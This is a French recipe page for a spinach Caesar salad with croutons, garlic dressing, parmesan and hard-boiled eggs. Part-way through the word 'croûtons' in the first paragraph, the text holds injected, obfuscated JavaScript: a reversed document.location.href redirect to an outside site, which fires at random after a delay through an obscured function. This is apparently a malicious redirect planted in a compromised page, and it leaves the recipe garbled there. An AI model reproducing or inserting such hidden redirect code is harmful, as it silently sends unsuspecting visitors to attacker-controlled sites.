Salade Caesar
2018-02-17Rincez, essorez, émincez les épinards. Coupez des croûtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tons de 4 cm, dans des tranches de pain de campagne. Déposez-les sur la plaque du four et faites les griller sous le gril en les remuant souvent.
Ingrédients
Rincez, essorez, émincez les épinards. Coupez des croûtons de 4 cm, dans des tranches de pain de campagne. Déposez-les sur la plaque du four et faites les griller sous le gril en les remuant souvent. Bien doré sortez les du four et réservez. Préparez la sauce en mélangeant le vinaigre, la moutarde, l'huile, sel, poivre. Émulsionnez avec un fouet pour la rendre plus légère. Pelez, coupez en deux les gousses d'ail, ôtez le germe et les hacher, puis incorporez à la sauce, ajoutez les épinards, le parmesan. Mélangez.
Juste avant de servir, répartissez les croûtons et les œufs durs coupés en rondelles. Servez et dégustezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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